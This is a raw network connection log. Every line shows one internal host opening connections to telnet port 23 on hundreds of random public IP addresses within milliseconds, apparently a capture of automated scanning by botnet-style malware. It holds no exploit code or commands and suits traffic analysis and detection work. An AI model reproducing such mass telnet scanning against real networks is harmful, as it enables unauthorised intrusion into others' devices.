Oct 14, 2024 17:30:14.950392962 CEST	12058	23	192.168.2.14	131.108.191.68
Oct 14, 2024 17:30:14.950395107 CEST	12058	23	192.168.2.14	126.183.115.19
Oct 14, 2024 17:30:14.950395107 CEST	12058	23	192.168.2.14	202.229.77.218
Oct 14, 2024 17:30:14.950398922 CEST	12058	23	192.168.2.14	188.0.4.130
Oct 14, 2024 17:30:14.950422049 CEST	12058	23	192.168.2.14	117.190.162.161
Oct 14, 2024 17:30:14.950424910 CEST	12058	23	192.168.2.14	59.72.224.24
Oct 14, 2024 17:30:14.950424910 CEST	12058	23	192.168.2.14	137.126.105.162
Oct 14, 2024 17:30:14.950440884 CEST	12058	23	192.168.2.14	117.212.182.28
Oct 14, 2024 17:30:14.950445890 CEST	12058	23	192.168.2.14	46.49.248.223
Oct 14, 2024 17:30:14.950449944 CEST	12058	23	192.168.2.14	97.124.104.147
Oct 14, 2024 17:30:14.950467110 CEST	12058	23	192.168.2.14	222.187.220.92
Oct 14, 2024 17:30:14.950469971 CEST	12058	23	192.168.2.14	35.147.67.13
Oct 14, 2024 17:30:14.950479984 CEST	12058	23	192.168.2.14	124.40.68.59
Oct 14, 2024 17:30:14.950489998 CEST	12058	23	192.168.2.14	177.238.94.101
Oct 14, 2024 17:30:14.950514078 CEST	12058	23	192.168.2.14	27.28.147.14
Oct 14, 2024 17:30:14.950517893 CEST	12058	23	192.168.2.14	206.63.227.142
Oct 14, 2024 17:30:14.950525999 CEST	12058	23	192.168.2.14	43.247.78.126
Oct 14, 2024 17:30:14.950537920 CEST	12058	23	192.168.2.14	58.139.221.38
Oct 14, 2024 17:30:14.950537920 CEST	12058	23	192.168.2.14	84.212.213.157
Oct 14, 2024 17:30:14.950537920 CEST	12058	23	192.168.2.14	115.130.174.144
Oct 14, 2024 17:30:14.950550079 CEST	12058	23	192.168.2.14	104.68.93.188
Oct 14, 2024 17:30:14.950562954 CEST	12058	23	192.168.2.14	68.145.135.90
Oct 14, 2024 17:30:14.950567007 CEST	12058	23	192.168.2.14	61.38.40.251
Oct 14, 2024 17:30:14.950567007 CEST	12058	23	192.168.2.14	114.131.105.22
Oct 14, 2024 17:30:14.950572968 CEST	12058	23	192.168.2.14	108.127.106.42
Oct 14, 2024 17:30:14.950586081 CEST	12058	23	192.168.2.14	27.177.32.30
Oct 14, 2024 17:30:14.950587034 CEST	12058	23	192.168.2.14	145.34.127.35
Oct 14, 2024 17:30:14.950587034 CEST	12058	23	192.168.2.14	65.44.1.58
Oct 14, 2024 17:30:14.950598001 CEST	12058	23	192.168.2.14	61.210.235.174
Oct 14, 2024 17:30:14.950601101 CEST	12058	23	192.168.2.14	53.138.66.238
Oct 14, 2024 17:30:14.950611115 CEST	12058	23	192.168.2.14	167.188.31.57
Oct 14, 2024 17:30:14.950620890 CEST	12058	23	192.168.2.14	162.146.8.130
Oct 14, 2024 17:30:14.950635910 CEST	12058	23	192.168.2.14	110.93.67.147
Oct 14, 2024 17:30:14.950638056 CEST	12058	23	192.168.2.14	189.44.233.32
Oct 14, 2024 17:30:14.950668097 CEST	12058	23	192.168.2.14	8.118.158.249
Oct 14, 2024 17:30:14.950668097 CEST	12058	23	192.168.2.14	111.74.172.237
Oct 14, 2024 17:30:14.950684071 CEST	12058	23	192.168.2.14	162.215.95.164
Oct 14, 2024 17:30:14.950684071 CEST	12058	23	192.168.2.14	213.63.182.186
Oct 14, 2024 17:30:14.950684071 CEST	12058	23	192.168.2.14	203.132.177.148
Oct 14, 2024 17:30:14.950687885 CEST	12058	23	192.168.2.14	155.253.35.125
Oct 14, 2024 17:30:14.950700045 CEST	12058	23	192.168.2.14	173.58.254.192
Oct 14, 2024 17:30:14.950705051 CEST	12058	23	192.168.2.14	184.180.31.201
Oct 14, 2024 17:30:14.950706959 CEST	12058	23	192.168.2.14	81.202.131.126
Oct 14, 2024 17:30:14.950720072 CEST	12058	23	192.168.2.14	87.41.114.171
Oct 14, 2024 17:30:14.950726986 CEST	12058	23	192.168.2.14	95.153.24.102
Oct 14, 2024 17:30:14.950726986 CEST	12058	23	192.168.2.14	144.67.223.8
Oct 14, 2024 17:30:14.950726986 CEST	12058	23	192.168.2.14	91.60.85.198
Oct 14, 2024 17:30:14.950747013 CEST	12058	23	192.168.2.14	153.146.95.245
Oct 14, 2024 17:30:14.950747967 CEST	12058	23	192.168.2.14	53.30.135.34
Oct 14, 2024 17:30:14.950750113 CEST	12058	23	192.168.2.14	72.51.196.58
Oct 14, 2024 17:30:14.950752974 CEST	12058	23	192.168.2.14	119.249.138.64
Oct 14, 2024 17:30:14.950767040 CEST	12058	23	192.168.2.14	123.201.190.60
Oct 14, 2024 17:30:14.950771093 CEST	12058	23	192.168.2.14	131.231.160.217
Oct 14, 2024 17:30:14.950776100 CEST	12058	23	192.168.2.14	149.54.198.165
Oct 14, 2024 17:30:14.950798988 CEST	12058	23	192.168.2.14	136.43.111.216
Oct 14, 2024 17:30:14.950800896 CEST	12058	23	192.168.2.14	31.4.79.21
Oct 14, 2024 17:30:14.950805902 CEST	12058	23	192.168.2.14	110.57.203.123
Oct 14, 2024 17:30:14.950818062 CEST	12058	23	192.168.2.14	79.92.27.106
Oct 14, 2024 17:30:14.950818062 CEST	12058	23	192.168.2.14	92.145.13.252
Oct 14, 2024 17:30:14.950819016 CEST	12058	23	192.168.2.14	93.80.255.133
Oct 14, 2024 17:30:14.950823069 CEST	12058	23	192.168.2.14	150.197.79.207
Oct 14, 2024 17:30:14.950836897 CEST	12058	23	192.168.2.14	36.38.202.255
Oct 14, 2024 17:30:14.950844049 CEST	12058	23	192.168.2.14	212.129.216.185
Oct 14, 2024 17:30:14.950855017 CEST	12058	23	192.168.2.14	220.41.187.152
Oct 14, 2024 17:30:14.950855970 CEST	12058	23	192.168.2.14	13.5.144.164
Oct 14, 2024 17:30:14.950874090 CEST	12058	23	192.168.2.14	135.196.230.39
Oct 14, 2024 17:30:14.950877905 CEST	12058	23	192.168.2.14	73.125.148.182
Oct 14, 2024 17:30:14.950884104 CEST	12058	23	192.168.2.14	188.82.241.19
Oct 14, 2024 17:30:14.950891018 CEST	12058	23	192.168.2.14	186.81.176.67
Oct 14, 2024 17:30:14.950903893 CEST	12058	23	192.168.2.14	105.183.26.203
Oct 14, 2024 17:30:14.950907946 CEST	12058	23	192.168.2.14	131.32.246.199
Oct 14, 2024 17:30:14.950907946 CEST	12058	23	192.168.2.14	109.185.51.132
Oct 14, 2024 17:30:14.950921059 CEST	12058	23	192.168.2.14	73.231.91.243
Oct 14, 2024 17:30:14.950927019 CEST	12058	23	192.168.2.14	220.28.39.215
Oct 14, 2024 17:30:14.950928926 CEST	12058	23	192.168.2.14	220.249.57.204
Oct 14, 2024 17:30:14.950942039 CEST	12058	23	192.168.2.14	213.196.132.98
Oct 14, 2024 17:30:14.950944901 CEST	12058	23	192.168.2.14	187.91.140.127
Oct 14, 2024 17:30:14.950956106 CEST	12058	23	192.168.2.14	63.252.169.226
Oct 14, 2024 17:30:14.950963974 CEST	12058	23	192.168.2.14	132.108.183.61
Oct 14, 2024 17:30:14.950965881 CEST	12058	23	192.168.2.14	122.185.238.70
Oct 14, 2024 17:30:14.950972080 CEST	12058	23	192.168.2.14	147.57.199.200
Oct 14, 2024 17:30:14.950972080 CEST	12058	23	192.168.2.14	76.251.84.79
Oct 14, 2024 17:30:14.950982094 CEST	12058	23	192.168.2.14	174.165.76.73
Oct 14, 2024 17:30:14.950990915 CEST	12058	23	192.168.2.14	148.29.131.99
Oct 14, 2024 17:30:14.950997114 CEST	12058	23	192.168.2.14	104.251.50.187
Oct 14, 2024 17:30:14.951004982 CEST	12058	23	192.168.2.14	164.153.47.159
Oct 14, 2024 17:30:14.951014042 CEST	12058	23	192.168.2.14	137.235.23.222
Oct 14, 2024 17:30:14.951023102 CEST	12058	23	192.168.2.14	78.51.171.3
Oct 14, 2024 17:30:14.951026917 CEST	12058	23	192.168.2.14	50.154.12.5
Oct 14, 2024 17:30:14.951035976 CEST	12058	23	192.168.2.14	74.178.220.236
Oct 14, 2024 17:30:14.951052904 CEST	12058	23	192.168.2.14	23.11.247.253
Oct 14, 2024 17:30:14.951055050 CEST	12058	23	192.168.2.14	59.244.154.175
Oct 14, 2024 17:30:14.951061964 CEST	12058	23	192.168.2.14	177.219.23.16
Oct 14, 2024 17:30:14.951071978 CEST	12058	23	192.168.2.14	128.35.229.218
Oct 14, 2024 17:30:14.951071978 CEST	12058	23	192.168.2.14	175.244.107.136
Oct 14, 2024 17:30:14.951077938 CEST	12058	23	192.168.2.14	146.140.152.232
Oct 14, 2024 17:30:14.951086998 CEST	12058	23	192.168.2.14	122.243.79.253
Oct 14, 2024 17:30:14.951092005 CEST	12058	23	192.168.2.14	50.167.65.232
Oct 14, 2024 17:30:14.951103926 CEST	12058	23	192.168.2.14	104.40.176.245
Oct 14, 2024 17:30:14.951103926 CEST	12058	23	192.168.2.14	5.77.133.128
Oct 14, 2024 17:30:14.951114893 CEST	12058	23	192.168.2.14	152.40.35.54
Oct 14, 2024 17:30:14.951116085 CEST	12058	23	192.168.2.14	38.229.174.36
Oct 14, 2024 17:30:14.951116085 CEST	12058	23	192.168.2.14	102.154.10.109
Oct 14, 2024 17:30:14.951124907 CEST	12058	23	192.168.2.14	94.131.17.94
Oct 14, 2024 17:30:14.951127052 CEST	12058	23	192.168.2.14	58.57.246.177
Oct 14, 2024 17:30:14.951131105 CEST	12058	23	192.168.2.14	146.209.223.156
Oct 14, 2024 17:30:14.951133013 CEST	12058	23	192.168.2.14	38.13.186.188
Oct 14, 2024 17:30:14.951147079 CEST	12058	23	192.168.2.14	159.92.165.226
Oct 14, 2024 17:30:14.951158047 CEST	12058	23	192.168.2.14	87.128.0.229
Oct 14, 2024 17:30:14.951164007 CEST	12058	23	192.168.2.14	73.222.155.118
Oct 14, 2024 17:30:14.951176882 CEST	12058	23	192.168.2.14	223.165.199.171
Oct 14, 2024 17:30:14.951176882 CEST	12058	23	192.168.2.14	174.239.145.241
Oct 14, 2024 17:30:14.951184988 CEST	12058	23	192.168.2.14	34.228.139.28
Oct 14, 2024 17:30:14.951201916 CEST	12058	23	192.168.2.14	87.216.90.134
Oct 14, 2024 17:30:14.951205015 CEST	12058	23	192.168.2.14	43.129.243.94
Oct 14, 2024 17:30:14.951216936 CEST	12058	23	192.168.2.14	46.22.32.87
Oct 14, 2024 17:30:14.951226950 CEST	12058	23	192.168.2.14	1.177.68.83
Oct 14, 2024 17:30:14.951226950 CEST	12058	23	192.168.2.14	147.221.186.242
Oct 14, 2024 17:30:14.951237917 CEST	12058	23	192.168.2.14	95.94.197.194
Oct 14, 2024 17:30:14.951245070 CEST	12058	23	192.168.2.14	217.73.25.134
Oct 14, 2024 17:30:14.951261044 CEST	12058	23	192.168.2.14	109.21.50.144
Oct 14, 2024 17:30:14.951265097 CEST	12058	23	192.168.2.14	79.73.201.174
Oct 14, 2024 17:30:14.951267004 CEST	12058	23	192.168.2.14	133.155.240.132
Oct 14, 2024 17:30:14.951272011 CEST	12058	23	192.168.2.14	69.45.215.60
Oct 14, 2024 17:30:14.951287031 CEST	12058	23	192.168.2.14	201.30.15.243
Oct 14, 2024 17:30:14.951287031 CEST	12058	23	192.168.2.14	116.250.184.78
Oct 14, 2024 17:30:14.951291084 CEST	12058	23	192.168.2.14	134.59.130.151
Oct 14, 2024 17:30:14.951292992 CEST	12058	23	192.168.2.14	175.8.16.14
Oct 14, 2024 17:30:14.951303959 CEST	12058	23	192.168.2.14	95.105.166.218
Oct 14, 2024 17:30:14.951320887 CEST	12058	23	192.168.2.14	164.167.18.37
Oct 14, 2024 17:30:14.951344013 CEST	12058	23	192.168.2.14	195.105.16.82
Oct 14, 2024 17:30:14.951349974 CEST	12058	23	192.168.2.14	31.171.200.143
Oct 14, 2024 17:30:14.951354980 CEST	12058	23	192.168.2.14	72.27.117.127
Oct 14, 2024 17:30:14.951359034 CEST	12058	23	192.168.2.14	208.2.214.18
Oct 14, 2024 17:30:14.951364994 CEST	12058	23	192.168.2.14	221.185.95.246
Oct 14, 2024 17:30:14.951375008 CEST	12058	23	192.168.2.14	221.86.69.1
Oct 14, 2024 17:30:14.951390982 CEST	12058	23	192.168.2.14	119.103.175.22
Oct 14, 2024 17:30:14.951390982 CEST	12058	23	192.168.2.14	120.208.70.255
Oct 14, 2024 17:30:14.951400042 CEST	12058	23	192.168.2.14	212.32.142.59
Oct 14, 2024 17:30:14.951400995 CEST	12058	23	192.168.2.14	103.195.20.142
Oct 14, 2024 17:30:14.951421976 CEST	12058	23	192.168.2.14	205.95.240.210
Oct 14, 2024 17:30:14.951427937 CEST	12058	23	192.168.2.14	143.198.216.239
Oct 14, 2024 17:30:14.951431990 CEST	12058	23	192.168.2.14	184.57.38.31
Oct 14, 2024 17:30:14.951450109 CEST	12058	23	192.168.2.14	106.101.124.44
Oct 14, 2024 17:30:14.951450109 CEST	12058	23	192.168.2.14	84.8.187.185
Oct 14, 2024 17:30:14.951459885 CEST	12058	23	192.168.2.14	86.149.212.20
Oct 14, 2024 17:30:14.951458931 CEST	12058	23	192.168.2.14	196.68.245.144
Oct 14, 2024 17:30:14.951462030 CEST	12058	23	192.168.2.14	132.97.14.212
Oct 14, 2024 17:30:14.951458931 CEST	12058	23	192.168.2.14	64.211.19.139
Oct 14, 2024 17:30:14.951458931 CEST	12058	23	192.168.2.14	12.128.42.152
Oct 14, 2024 17:30:14.951458931 CEST	12058	23	192.168.2.14	185.182.101.128
Oct 14, 2024 17:30:14.951481104 CEST	12058	23	192.168.2.14	71.246.207.119
Oct 14, 2024 17:30:14.951484919 CEST	12058	23	192.168.2.14	181.113.253.55
Oct 14, 2024 17:30:14.951487064 CEST	12058	23	192.168.2.14	177.97.237.245
Oct 14, 2024 17:30:14.951495886 CEST	12058	23	192.168.2.14	212.178.99.71
Oct 14, 2024 17:30:14.951504946 CEST	12058	23	192.168.2.14	121.223.156.7
Oct 14, 2024 17:30:14.951505899 CEST	12058	23	192.168.2.14	104.15.132.67
Oct 14, 2024 17:30:14.951505899 CEST	12058	23	192.168.2.14	65.191.182.80
Oct 14, 2024 17:30:14.951517105 CEST	12058	23	192.168.2.14	141.78.73.214
Oct 14, 2024 17:30:14.951520920 CEST	12058	23	192.168.2.14	196.3.247.243
Oct 14, 2024 17:30:14.951540947 CEST	12058	23	192.168.2.14	84.155.221.139
Oct 14, 2024 17:30:14.951556921 CEST	12058	23	192.168.2.14	132.125.195.3
Oct 14, 2024 17:30:14.951561928 CEST	12058	23	192.168.2.14	8.31.3.101
Oct 14, 2024 17:30:14.951565027 CEST	12058	23	192.168.2.14	4.39.128.37
Oct 14, 2024 17:30:14.951575994 CEST	12058	23	192.168.2.14	63.255.1.81
Oct 14, 2024 17:30:14.951586008 CEST	12058	23	192.168.2.14	94.70.93.86
Oct 14, 2024 17:30:14.951591969 CEST	12058	23	192.168.2.14	18.246.57.30
Oct 14, 2024 17:30:14.951591969 CEST	12058	23	192.168.2.14	78.125.7.119
Oct 14, 2024 17:30:14.951605082 CEST	12058	23	192.168.2.14	161.46.90.35
Oct 14, 2024 17:30:14.951606989 CEST	12058	23	192.168.2.14	169.164.175.1
Oct 14, 2024 17:30:14.951622963 CEST	12058	23	192.168.2.14	44.117.191.53
Oct 14, 2024 17:30:14.951623917 CEST	12058	23	192.168.2.14	183.162.48.118
Oct 14, 2024 17:30:14.951630116 CEST	12058	23	192.168.2.14	62.67.152.133
Oct 14, 2024 17:30:14.951631069 CEST	12058	23	192.168.2.14	183.212.171.80
Oct 14, 2024 17:30:14.951634884 CEST	12058	23	192.168.2.14	17.73.197.163
Oct 14, 2024 17:30:14.951637983 CEST	12058	23	192.168.2.14	141.158.58.168
Oct 14, 2024 17:30:14.951647043 CEST	12058	23	192.168.2.14	23.90.140.165
Oct 14, 2024 17:30:14.951653004 CEST	12058	23	192.168.2.14	149.89.71.211
Oct 14, 2024 17:30:14.951668978 CEST	12058	23	192.168.2.14	132.140.231.108
Oct 14, 2024 17:30:14.951672077 CEST	12058	23	192.168.2.14	24.137.72.229
Oct 14, 2024 17:30:14.951674938 CEST	12058	23	192.168.2.14	85.246.23.33
Oct 14, 2024 17:30:14.951674938 CEST	12058	23	192.168.2.14	159.50.22.245
Oct 14, 2024 17:30:14.951675892 CEST	12058	23	192.168.2.14	41.80.251.152
Oct 14, 2024 17:30:14.951689959 CEST	12058	23	192.168.2.14	171.58.37.33
Oct 14, 2024 17:30:14.951692104 CEST	12058	23	192.168.2.14	67.202.202.197
Oct 14, 2024 17:30:14.951702118 CEST	12058	23	192.168.2.14	74.16.38.184
Oct 14, 2024 17:30:14.951702118 CEST	12058	23	192.168.2.14	192.181.237.57
Oct 14, 2024 17:30:14.951716900 CEST	12058	23	192.168.2.14	84.3.8.189
Oct 14, 2024 17:30:14.951719999 CEST	12058	23	192.168.2.14	73.217.98.86
Oct 14, 2024 17:30:14.951733112 CEST	12058	23	192.168.2.14	174.179.39.181
Oct 14, 2024 17:30:14.951741934 CEST	12058	23	192.168.2.14	218.221.131.53
Oct 14, 2024 17:30:14.951750994 CEST	12058	23	192.168.2.14	50.112.180.185
Oct 14, 2024 17:30:14.951754093 CEST	12058	23	192.168.2.14	168.48.81.52
Oct 14, 2024 17:30:14.951756001 CEST	12058	23	192.168.2.14	150.127.155.80
Oct 14, 2024 17:30:14.951765060 CEST	12058	23	192.168.2.14	85.221.10.216
Oct 14, 2024 17:30:14.951765060 CEST	12058	23	192.168.2.14	137.124.77.194
Oct 14, 2024 17:30:14.951781988 CEST	12058	23	192.168.2.14	178.150.193.45
Oct 14, 2024 17:30:14.951785088 CEST	12058	23	192.168.2.14	84.180.252.63
Oct 14, 2024 17:30:14.951796055 CEST	12058	23	192.168.2.14	192.230.115.235
Oct 14, 2024 17:30:14.951797009 CEST	12058	23	192.168.2.14	199.111.32.105
Oct 14, 2024 17:30:14.951802969 CEST	12058	23	192.168.2.14	68.213.125.181
Oct 14, 2024 17:30:14.951806068 CEST	12058	23	192.168.2.14	217.94.224.77
Oct 14, 2024 17:30:14.951809883 CEST	12058	23	192.168.2.14	202.150.149.76
Oct 14, 2024 17:30:14.951822996 CEST	12058	23	192.168.2.14	85.249.248.134
Oct 14, 2024 17:30:14.951828957 CEST	12058	23	192.168.2.14	48.157.35.5
Oct 14, 2024 17:30:14.951831102 CEST	12058	23	192.168.2.14	143.23.93.63
Oct 14, 2024 17:30:14.951838017 CEST	12058	23	192.168.2.14	130.124.172.192
Oct 14, 2024 17:30:14.951852083 CEST	12058	23	192.168.2.14	152.12.99.26
Oct 14, 2024 17:30:14.951859951 CEST	12058	23	192.168.2.14	221.103.87.157
Oct 14, 2024 17:30:14.951865911 CEST	12058	23	192.168.2.14	139.190.187.23
Oct 14, 2024 17:30:14.951868057 CEST	12058	23	192.168.2.14	109.32.184.254
Oct 14, 2024 17:30:14.951872110 CEST	12058	23	192.168.2.14	116.164.29.244
Oct 14, 2024 17:30:14.951883078 CEST	12058	23	192.168.2.14	185.243.43.105
Oct 14, 2024 17:30:14.951889038 CEST	12058	23	192.168.2.14	136.4.212.161
Oct 14, 2024 17:30:14.951896906 CEST	12058	23	192.168.2.14	121.212.244.111
Oct 14, 2024 17:30:14.951904058 CEST	12058	23	192.168.2.14	185.118.189.93
Oct 14, 2024 17:30:14.951910019 CEST	12058	23	192.168.2.14	129.224.73.227
Oct 14, 2024 17:30:14.951910019 CEST	12058	23	192.168.2.14	69.49.232.55
Oct 14, 2024 17:30:14.951926947 CEST	12058	23	192.168.2.14	20.123.206.111
Oct 14, 2024 17:30:14.951931000 CEST	12058	23	192.168.2.14	189.229.247.167
Oct 14, 2024 17:30:14.951931000 CEST	12058	23	192.168.2.14	18.58.160.132
Oct 14, 2024 17:30:14.951931000 CEST	12058	23	192.168.2.14	39.160.74.245
Oct 14, 2024 17:30:14.951939106 CEST	12058	23	192.168.2.14	135.199.128.32
Oct 14, 2024 17:30:14.951946020 CEST	12058	23	192.168.2.14	89.63.40.35
Oct 14, 2024 17:30:14.951967955 CEST	12058	23	192.168.2.14	109.189.239.41
Oct 14, 2024 17:30:14.951968908 CEST	12058	23	192.168.2.14	216.143.199.15
Oct 14, 2024 17:30:14.951972961 CEST	12058	23	192.168.2.14	141.233.18.106
Oct 14, 2024 17:30:14.951977968 CEST	12058	23	192.168.2.14	87.166.219.26
Oct 14, 2024 17:30:14.951978922 CEST	12058	23	192.168.2.14	184.218.0.44
Oct 14, 2024 17:30:14.951984882 CEST	12058	23	192.168.2.14	145.215.187.111
Oct 14, 2024 17:30:14.951984882 CEST	12058	23	192.168.2.14	205.212.51.240
Oct 14, 2024 17:30:14.951987982 CEST	12058	23	192.168.2.14	59.61.180.102
Oct 14, 2024 17:30:14.951997042 CEST	12058	23	192.168.2.14	191.143.17.209
Oct 14, 2024 17:30:14.952004910 CEST	12058	23	192.168.2.14	98.104.226.204
Oct 14, 2024 17:30:14.952008963 CEST	12058	23	192.168.2.14	88.72.52.21
Oct 14, 2024 17:30:14.952013016 CEST	12058	23	192.168.2.14	71.117.132.159
Oct 14, 2024 17:30:14.952018023 CEST	12058	23	192.168.2.14	114.96.194.143
Oct 14, 2024 17:30:14.952018976 CEST	12058	23	192.168.2.14	46.228.133.139
Oct 14, 2024 17:30:14.952033043 CEST	12058	23	192.168.2.14	181.16.175.164
Oct 14, 2024 17:30:14.952037096 CEST	12058	23	192.168.2.14	101.79.232.36
Oct 14, 2024 17:30:14.952039003 CEST	12058	23	192.168.2.14	181.29.49.41
Oct 14, 2024 17:30:14.952054024 CEST	12058	23	192.168.2.14	96.24.145.140
Oct 14, 2024 17:30:14.952054024 CEST	12058	23	192.168.2.14	193.182.106.228
Oct 14, 2024 17:30:14.952066898 CEST	12058	23	192.168.2.14	178.137.28.45
Oct 14, 2024 17:30:14.952079058 CEST	12058	23	192.168.2.14	210.56.36.24
Oct 14, 2024 17:30:14.952086926 CEST	12058	23	192.168.2.14	52.2.206.11
Oct 14, 2024 17:30:14.952090025 CEST	12058	23	192.168.2.14	147.243.0.0
Oct 14, 2024 17:30:14.952105045 CEST	12058	23	192.168.2.14	125.154.34.57
Oct 14, 2024 17:30:14.952112913 CEST	12058	23	192.168.2.14	91.211.125.166
Oct 14, 2024 17:30:14.952119112 CEST	12058	23	192.168.2.14	105.146.47.254
Oct 14, 2024 17:30:14.952122927 CEST	12058	23	192.168.2.14	112.198.114.38
Oct 14, 2024 17:30:14.952136040 CEST	12058	23	192.168.2.14	108.201.172.239
Oct 14, 2024 17:30:14.952136993 CEST	12058	23	192.168.2.14	178.195.56.216
Oct 14, 2024 17:30:14.952145100 CEST	12058	23	192.168.2.14	223.217.47.169
Oct 14, 2024 17:30:14.952156067 CEST	12058	23	192.168.2.14	86.15.183.145
Oct 14, 2024 17:30:14.952167034 CEST	12058	23	192.168.2.14	84.233.178.175
Oct 14, 2024 17:30:14.952181101 CEST	12058	23	192.168.2.14	1.158.160.196
Oct 14, 2024 17:30:14.952181101 CEST	12058	23	192.168.2.14	1.136.71.240
Oct 14, 2024 17:30:14.952184916 CEST	12058	23	192.168.2.14	39.16.116.106
Oct 14, 2024 17:30:14.952184916 CEST	12058	23	192.168.2.14	31.23.95.206
Oct 14, 2024 17:30:14.952188969 CEST	12058	23	192.168.2.14	115.91.32.115
Oct 14, 2024 17:30:14.952199936 CEST	12058	23	192.168.2.14	31.111.254.194
Oct 14, 2024 17:30:14.952208042 CEST	12058	23	192.168.2.14	27.204.157.212
Oct 14, 2024 17:30:14.952208042 CEST	12058	23	192.168.2.14	94.201.69.226
Oct 14, 2024 17:30:14.952217102 CEST	12058	23	192.168.2.14	52.54.32.56
Oct 14, 2024 17:30:14.952224016 CEST	12058	23	192.168.2.14	157.86.241.168
Oct 14, 2024 17:30:14.952244043 CEST	12058	23	192.168.2.14	119.207.135.133
Oct 14, 2024 17:30:14.952244043 CEST	12058	23	192.168.2.14	69.107.134.194
Oct 14, 2024 17:30:14.952253103 CEST	12058	23	192.168.2.14	43.224.20.96
Oct 14, 2024 17:30:14.952254057 CEST	12058	23	192.168.2.14	134.188.87.125
Oct 14, 2024 17:30:14.952265978 CEST	12058	23	192.168.2.14	62.176.20.250
Oct 14, 2024 17:30:14.952270031 CEST	12058	23	192.168.2.14	199.36.208.103
Oct 14, 2024 17:30:14.952290058 CEST	12058	23	192.168.2.14	116.180.116.108
Oct 14, 2024 17:30:14.952296019 CEST	12058	23	192.168.2.14	162.195.219.4
Oct 14, 2024 17:30:14.952299118 CEST	12058	23	192.168.2.14	96.89.118.101
Oct 14, 2024 17:30:14.952308893 CEST	12058	23	192.168.2.14	189.84.1.53
Oct 14, 2024 17:30:14.952311993 CEST	12058	23	192.168.2.14	34.7.190.102
Oct 14, 2024 17:30:14.952316046 CEST	12058	23	192.168.2.14	88.87.62.202
Oct 14, 2024 17:30:14.952322006 CEST	12058	23	192.168.2.14	200.236.214.6
Oct 14, 2024 17:30:14.952328920 CEST	12058	23	192.168.2.14	47.151.30.87
Oct 14, 2024 17:30:14.952333927 CEST	12058	23	192.168.2.14	205.40.207.95
Oct 14, 2024 17:30:14.952339888 CEST	12058	23	192.168.2.14	116.148.135.43
Oct 14, 2024 17:30:14.952359915 CEST	12058	23	192.168.2.14	170.131.255.32
Oct 14, 2024 17:30:14.952361107 CEST	12058	23	192.168.2.14	223.23.202.247
Oct 14, 2024 17:30:14.952367067 CEST	12058	23	192.168.2.14	166.73.150.198
Oct 14, 2024 17:30:14.952368021 CEST	12058	23	192.168.2.14	145.52.102.147
Oct 14, 2024 17:30:14.952374935 CEST	12058	23	192.168.2.14	25.22.129.118
Oct 14, 2024 17:30:14.952384949 CEST	12058	23	192.168.2.14	45.128.144.48
Oct 14, 2024 17:30:14.952384949 CEST	12058	23	192.168.2.14	207.90.172.99
Oct 14, 2024 17:30:14.952389956 CEST	12058	23	192.168.2.14	59.85.1.203
Oct 14, 2024 17:30:14.952392101 CEST	12058	23	192.168.2.14	179.213.245.194
Oct 14, 2024 17:30:14.952400923 CEST	12058	23	192.168.2.14	57.86.174.252
Oct 14, 2024 17:30:14.952405930 CEST	12058	23	192.168.2.14	180.224.192.116
Oct 14, 2024 17:30:14.952419996 CEST	12058	23	192.168.2.14	124.140.7.184
Oct 14, 2024 17:30:14.952419996 CEST	12058	23	192.168.2.14	180.214.21.99
Oct 14, 2024 17:30:14.952421904 CEST	12058	23	192.168.2.14	39.67.189.97
Oct 14, 2024 17:30:14.952421904 CEST	12058	23	192.168.2.14	4.76.243.166
Oct 14, 2024 17:30:14.952441931 CEST	12058	23	192.168.2.14	142.196.50.34
Oct 14, 2024 17:30:14.952449083 CEST	12058	23	192.168.2.14	155.52.33.129
Oct 14, 2024 17:30:14.952452898 CEST	12058	23	192.168.2.14	126.162.2.55
Oct 14, 2024 17:30:14.952465057 CEST	12058	23	192.168.2.14	82.199.249.87
Oct 14, 2024 17:30:14.952465057 CEST	12058	23	192.168.2.14	118.206.118.23
Oct 14, 2024 17:30:14.952486992 CEST	12058	23	192.168.2.14	139.129.219.29
Oct 14, 2024 17:30:14.952486992 CEST	12058	23	192.168.2.14	123.253.42.210
Oct 14, 2024 17:30:14.952492952 CEST	12058	23	192.168.2.14	194.97.104.80
Oct 14, 2024 17:30:14.952492952 CEST	12058	23	192.168.2.14	164.227.31.60
Oct 14, 2024 17:30:14.952492952 CEST	12058	23	192.168.2.14	189.46.25.77
Oct 14, 2024 17:30:14.952511072 CEST	12058	23	192.168.2.14	18.36.69.246
Oct 14, 2024 17:30:14.952511072 CEST	12058	23	192.168.2.14	206.219.73.84
Oct 14, 2024 17:30:14.952526093 CEST	12058	23	192.168.2.14	218.213.92.66
Oct 14, 2024 17:30:14.952528954 CEST	12058	23	192.168.2.14	111.225.88.18
Oct 14, 2024 17:30:14.952538013 CEST	12058	23	192.168.2.14	24.77.255.245
Oct 14, 2024 17:30:14.952539921 CEST	12058	23	192.168.2.14	183.198.224.157
Oct 14, 2024 17:30:14.952548027 CEST	12058	23	192.168.2.14	123.21.218.228
Oct 14, 2024 17:30:14.952555895 CEST	12058	23	192.168.2.14	186.2.112.247
Oct 14, 2024 17:30:14.952558041 CEST	12058	23	192.168.2.14	221.122.202.7
Oct 14, 2024 17:30:14.952569962 CEST	12058	23	192.168.2.14	170.45.162.200
Oct 14, 2024 17:30:14.952574968 CEST	12058	23	192.168.2.14	103.236.236.199
Oct 14, 2024 17:30:14.952574968 CEST	12058	23	192.168.2.14	70.145.37.159
Oct 14, 2024 17:30:14.952594995 CEST	12058	23	192.168.2.14	89.247.161.239
Oct 14, 2024 17:30:14.952599049 CEST	12058	23	192.168.2.14	111.96.244.5
Oct 14, 2024 17:30:14.952609062 CEST	12058	23	192.168.2.14	80.251.78.204
Oct 14, 2024 17:30:14.952610970 CEST	12058	23	192.168.2.14	54.195.153.42
Oct 14, 2024 17:30:14.952614069 CEST	12058	23	192.168.2.14	1.8.234.16
Oct 14, 2024 17:30:14.952621937 CEST	12058	23	192.168.2.14	151.34.112.52
Oct 14, 2024 17:30:14.952635050 CEST	12058	23	192.168.2.14	110.144.9.108
Oct 14, 2024 17:30:14.952636957 CEST	12058	23	192.168.2.14	123.238.143.251
Oct 14, 2024 17:30:14.952641964 CEST	12058	23	192.168.2.14	134.114.128.236
Oct 14, 2024 17:30:14.952645063 CEST	12058	23	192.168.2.14	1.15.37.114
Oct 14, 2024 17:30:14.952658892 CEST	12058	23	192.168.2.14	199.62.250.67
Oct 14, 2024 17:30:14.952675104 CEST	12058	23	192.168.2.14	188.108.108.118
Oct 14, 2024 17:30:14.952681065 CEST	12058	23	192.168.2.14	82.45.194.22
Oct 14, 2024 17:30:14.952682972 CEST	12058	23	192.168.2.14	43.18.123.112
